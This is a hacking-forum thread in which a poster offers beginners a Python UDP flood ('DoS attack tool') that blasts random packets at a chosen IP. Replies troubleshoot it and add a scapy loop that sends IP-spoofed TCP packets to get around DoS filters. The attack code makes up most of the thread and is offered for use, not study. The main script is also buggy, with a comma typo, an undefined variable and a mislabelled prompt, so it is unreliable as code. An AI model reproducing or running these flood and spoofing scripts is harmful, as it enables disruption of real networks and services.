Creating DOS Attack Tool with Python

Greetings Guys, Hope you all are fine and shine. This is actually for those who are new to hacking.
Thank YOU.


import os
import sys
import time
import socket
import random

sock = socket.socket(socket.AF_INET, socket,SOCK_DGRAM)

bytes = random._urandom(1024)

os.system(“clear”)
print(“Welcome to DoS”)
print("")
ip = raw_input("Target IP: ")
port = input("Time: ")
timeout = time.time() + dur
sent = 0

while True:
try:
if time.time() > timeout:
break
else:
pass
sock.sendto(bytes,(ip, port))
sent = sent + 1
print “Sent %s packets to %s through port %s”%(sent, ip, port)
except KeyboardInterrupt:
sys.exit()

Need help? = https://youtu.be/foKVfM3MSTM

1 Like

Make sure you indent it.

1 Like

uhh… I think I screwed something up, because when I tried to use it, on windows machine the Cmd just showed up and instantly closed… Any idea how to fix it? pls I really need it :confounded:

Your indentation is not correct.
___Try

_____except
that’s wrong.

___Try

___except
that’s right

I changed that and… that didn’t help :sweat:


(in line 27 that % and () aren’t blue, maybe that’s the problem)

Dude are you trying it on windows? Try it on Linux (python 2)

but what should I use to build it?

Dude wake up

sorry, I’m really a newbie in “hacking” I’m still learning :sweat:
Thanks for your patience I really appreciate that :heart:

1 Like

try to guess what happened…

yes, I fucked something up again. (Who would expect that :cry:)

  1. go to the link ( https://www.upload.ee/files/10375123/dos.py.html )
  2. download it in your linux
  3. go to the directory where your have downloaded the dos.py
  4. then right click there and hit open terminal
  5. then type => python2 dos.py
    DONE

Please see the code and notice what you’ve done. I don’t know any other way to make you understand. Hope this will help

Why don’t you upload it on a GitHub repository and then share the link?

1 Like

Thanks for the Idea, don’t worry it’s free of trojan or whatever

Never mind i always test them on VM. But GitHub links are a way good than these types of links and who said that malwares, Trojans, etc cannot be spread through GitHub?

1 Like

NVM, these lilnks just feel like malware shits

Hell yeah I can actually read, and understand this script thanks to “Learn Python The Hard Way” by Zed Shaw. I’m a newbie as well so just getting started.

If you can add the ability to spoof ip there by easy to foil dos filters

    from scapy.all import *

    A = "192.168.1.254" # spoofed source IP address
    B = "192.168.1.105" # destination IP address
    C = RandShort() # source port
    D = 80 # destination port
    payload = "I just spoofed you" # packet payload

    while True:
        spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / payload
        send(spoofed_packet)
1 Like